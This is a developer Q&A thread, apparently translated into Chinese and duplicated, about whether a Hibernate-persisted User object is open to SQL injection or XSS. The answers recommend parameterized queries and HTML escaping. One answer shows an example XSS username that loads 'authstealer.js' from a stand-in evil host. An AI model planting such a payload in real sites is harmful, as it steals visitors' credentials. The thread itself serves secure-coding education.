攻击者能否将 sql 或 java 脚本注入 java POJO?
can attackers inject sql or javascripts into java POJOs?
我有一个表格,用户可以在其中注册到我的网站
数据存储在用户 POJO
class User{
private String userName;
private boolean enabled;
private Date registrationDate;
...
}
然后使用
持久化到数据库
org.hibernate.Session.persist(User)
有没有办法让攻击者在 userName 字段上进行 sql 注入或 XSS,污染数据或进行任何其他类型的攻击,我该如何防范?
攻击者还可以在 String 以外的数据类型中存储 sql 语句或 javascript 代码吗?
https://www.owasp.org/index.php/Hibernate#A_note_about_SQL_injection
验证表单输入总是更好。由于给定的对象比较简单,对你来说应该不是问题。
也不要通过字符串连接构建查询,并在需要时使用 Query.setParameter()。这些方法专用于SQL-注入预防,将消除此类风险。
hibernate 的干净使用,也就是说不做丑陋的事情,是安全的。所以没有SQL注入.
但是,如果 HTML 表单输入没有防范 JavaScript,您可能会在数据库的文本中获取 JS。
在输出该文本时,必须注意转义HTML=true。 那就没有XSS.
一般来说这不是什么大问题,但要注意开发人员在带有转储等的管理页面上的懒惰;可以更简单地创建这些页面。
关于其他格式:SVG(可编写脚本的矢量格式)是一种漂亮的可缩放 XML 图像格式,可在 HTML 页上显示。但是它们可能包含 JavaScript 用于交互。
同样适用于上传的 richt 文本 和 电子表格 格式,有时保存为 BLOB s 在数据库中。
从您目前发布的内容来看,这看起来容易受到 XSS 攻击。
如果我为我的用户名提供以下字符串会怎样:
Username<script src="http://myevilsite.com/authstealer.js">
任何在网站上看到我的用户名的人都会 运行 一些 js。
也许您应该 burp 您的网站。
我有一个表格,用户可以在其中注册到我的网站 数据存储在用户 POJO
class User{
private String userName;
private boolean enabled;
private Date registrationDate;
...
}
然后使用
持久化到数据库org.hibernate.Session.persist(User)
有没有办法让攻击者在 userName 字段上进行 sql 注入或 XSS,污染数据或进行任何其他类型的攻击,我该如何防范?
攻击者还可以在 String 以外的数据类型中存储 sql 语句或 javascript 代码吗?
https://www.owasp.org/index.php/Hibernate#A_note_about_SQL_injection
验证表单输入总是更好。由于给定的对象比较简单,对你来说应该不是问题。
也不要通过字符串连接构建查询,并在需要时使用 Query.setParameter()。这些方法专用于SQL-注入预防,将消除此类风险。
hibernate 的干净使用,也就是说不做丑陋的事情,是安全的。所以没有SQL注入.
但是,如果 HTML 表单输入没有防范 JavaScript,您可能会在数据库的文本中获取 JS。
在输出该文本时,必须注意转义HTML=true。 那就没有XSS.
一般来说这不是什么大问题,但要注意开发人员在带有转储等的管理页面上的懒惰;可以更简单地创建这些页面。
关于其他格式:SVG(可编写脚本的矢量格式)是一种漂亮的可缩放 XML 图像格式,可在 HTML 页上显示。但是它们可能包含 JavaScript 用于交互。
同样适用于上传的 richt 文本 和 电子表格 格式,有时保存为 BLOB s 在数据库中。
从您目前发布的内容来看,这看起来容易受到 XSS 攻击。 如果我为我的用户名提供以下字符串会怎样:
Username<script src="http://myevilsite.com/authstealer.js">
任何在网站上看到我的用户名的人都会 运行 一些 js。
也许您应该 burp 您的网站。